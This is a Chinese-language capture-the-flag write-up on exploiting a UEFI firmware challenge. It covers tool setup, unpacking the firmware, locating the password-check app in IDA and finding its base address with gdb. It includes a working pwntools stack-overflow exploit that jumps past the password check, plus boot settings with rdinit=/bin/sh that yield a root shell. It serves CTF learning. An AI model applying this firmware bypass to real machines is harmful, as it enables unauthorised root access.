UEFI pwn初探
[toc]
UEFI PWN
0x00. 工具安装
安装binwalk
:
1
| sudo apt install binwalk
|
安装uefi-firnware-parser
:
1
| pip install uefi_firmware
|
在Windows
上安装UEFITool
:
链接
为ida
安装插件find-crypt
:
地址
其中,需要为ida
的python
安装库,如下所示:
将下载后的文件内的.ruls .py
文件放入ida
的plugins
文件即可。
安装winchecksec
,链接,可以选择置入Ubuntu
的可执行文件目录。
0x01. 基本流程
下载题目文件,一般会给一个*.fd
文件,和一个*.py
的启动脚本,以及用于启动qemu
的bz-Image
、*.cpio
打包的文件目录等。
可以先观察启动脚本,修改里面的一些信息例如timeout
等信息,便于我们进行调试。
解包文件目录
一样的
1 2 3 4
| mdkir core cp ./initramfs.cpio core cd core cpio -idmv < ./initramfs.cpio
|
随后可以观察一下解包出来的init
启动脚本,例如本测试题目有如下信息表明这是一个UEFI Pwn
:
1
| mount -t efivarfs efivarfs /sys/firmware/efi/efivars
|
查看固件信息
可以通过多种方式,例如:
- 第一步下载的
UEFI Tool
,可以用图形界面来打开OVMF.fd
。
- 利用
binwalk -Me ./OVMF.fd
来查看固件信息。
解压固件
可以通过UEFI-FIRMWARE-PARSER
解压固件,如下所示:
1
| uefi-firmware-parser -ecO ./OVMF.fd
|
定位UIAPP
启动时按下F12
,可以进入BIOS
,如下本题是一个输入密码验证的程序,不同的程序有所区别:
图上还显示了一些信息,例如7CB8*
,和462CAA*
。
在bash
中搜索两个文件,如下所示:
1 2
| $ find ./* -name '*462c*' ./OVMF.fd_output/volume-0/file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792/section0/section3/volume-ee4e5898-3914-4259-9d6e-dc7bd79403cf/file-462caa21-7614-4503-836e-8ab6f4662331
|
可以看到找到了和图中一模一样的文件夹,其中含有如下文件:
1 2
| $ ls file.obj section1.raw section3.version section0.pe section2.ui
|
而其中,我们使用ida
打开section0.pe
文件,按下shift+f12
,查找字符串。
查找我们刚刚在bios
中看到的字符串,例如Enter Password
。若没有找到,右键空白处,点击Setup
。
选择Unicode C-style(16bits)
或者其他选项,如图所示:
选中之后我即找到了Enter Password
字符串。交叉引用,找到main
函数:
确认程序基地址
通过winchecksec
查询程序保护机制。如下所示:
可见这里是没有开启elf
中类似于PIE
的保护机制的,因此我们可以直接确定整个程序的基地址。
通过如下脚本来通过qemu
启动bios
,注意我们添加了-s
参数以便我们挂载:
注意,若要复用该脚本,需要注意更改qemu
启动选项。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import *
context.arch = "amd64" context.log_level = "debug"
tube.s = tube.send tube.sl = tube.sendline tube.sa = tube.sendafter tube.sla = tube.sendlineafter tube.r = tube.recv tube.ru = tube.recvuntil tube.rl = tube.recvline tube.ra = tube.recvall tube.rr = tube.recvregex tube.irt = tube.interactive
DEBUG = 1
if DEBUG == 0: fname = "/tmp/test_uefi" os.system("cp OVMF.fd %s" % (fname)) os.system("chmod u+w %s" % (fname))
p = process(["qemu-system-x86_64", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive", "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={}) elif DEBUG == 1: fname = "/tmp/test_uefi" os.system("cp OVMF.fd %s" % (fname)) os.system("chmod u+w %s" % (fname))
p = process(["qemu-system-x86_64", "-s", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive", "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={}) elif DEBUG == 2: p = remote('accessing-the-truth.pwn2win.party', 1337)
def exploit(): p.recvn(1) p.send("\x1b[24~")
p.irt()
if __name__ == "__main__": exploit()
|
通过上面的脚本运行该程序,并新开一个shell
来运行gdb
,通过如下命令来连接到qemu
:
随后,我们只需要通过一个字符串的地址,即可确定整个程序的基地址。
在ida
中,根据字符串的地址来找到其位于Hex View
中的位置,如下所示:
选中后,右键点击Convert->Convert to hex string
,即可在ida
输出框中获得字符串内容的十六机制表示:
随后,在gdb
连接到的qemu
中,通过search -x
搜索该字符串:
如上所示,我们找到了该字符串的三处出现位置。然而,我们在ida
中观察到字符串的地址为0x13990
,这意味着字符串地址以0x90
结尾,因此0x28ba990
即为字符串真实地址。
因此,简单计算即可得出程序的真实基地址:
通过该真实地址比对main
函数处代码,确认即可。
随后即可修改IDA
的基地址,ida
中点击左上角edit -> Segments -> Rebase Program
,输入程序基地址即可。
漏洞利用
这一部分反而对于每个题目是不一样的,此处不再赘述。
基于本篇内容的题目是一个栈溢出,那么溢出到哪里呢?
可以观察到main
函数内会根据比对密码是否成功返回1
或者0
。
因此,我们交叉引用main
函数,如下所示:
可以看到若main
函数返回为真,则会进入该if
语句。因此我们查看其地址:
只要main
函数为真,我们进入该if
语句即可。因此,溢出后的地址我们选择0x28b0dd5
,就相当于后门地址。
因此exp
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import *
context.arch = "amd64"
tube.s = tube.send tube.sl = tube.sendline tube.sa = tube.sendafter tube.sla = tube.sendlineafter tube.r = tube.recv tube.ru = tube.recvuntil tube.rl = tube.recvline tube.ra = tube.recvall tube.rr = tube.recvregex tube.irt = tube.interactive
DEBUG = 0
if DEBUG == 0: fname = "/tmp/test_uefi" os.system("cp OVMF.fd %s" % (fname)) os.system("chmod u+w %s" % (fname))
p = process(["qemu-system-x86_64", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive", "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={}) elif DEBUG == 1: fname = "/tmp/test_uefi" os.system("cp OVMF.fd %s" % (fname)) os.system("chmod u+w %s" % (fname))
p = process(["qemu-system-x86_64", "-s", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive", "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={}) elif DEBUG == 2: p = remote('accessing-the-truth.pwn2win.party', 1337)
def exploit(): p.recvn(1) p.send("\x1b[24~") payload = b'\n'*0xa8 + p32(0x28b0dd5) payload += b'\r'
p.sa('Password', payload)
payload = '\r' p.s(payload) p.s(payload)
p.irt()
if __name__ == "__main__": exploit()
|
进入BIOS并添加启动项
运行上述脚本。但是上述脚本不能直接运行,因为pwntools
对图形界面的支持不够好。
因此,我们通过如下命令来通过socat
挂载该程序:
1
| socat -,raw,echo=0 SYSTEM:"python3 ./exp.py"
|
此时即可进入BIOS
。
如图所示:
我们选择英语,进入BOOT Maintenance Manager
:
继续,选择Boot Options
:
选择Add Boot Option
:
选中唯一的选项即可,继续:
选择bzImage
:
在Input the description
中输入rootshell
,随后在Input the Optional Data
中输入如下内容:
1
| console=ttyS0 initrd=initramfs.cpio rdinit=/bin/sh quiet
|
注意,initrd
的参数的cpio
文件是文件系统,一定要放在contents
目录下,这是BIOS
默认寻找的文件夹。
若不知道这里该填什么,可以看题目给的boot.nsh
文件,添加上rdinit=/bin/sh
即可。
随后保存即可,回到最开始的界面:
选择Boot Manager
:
选中我们刚刚创建的启动项,即可以root
权限进入系统。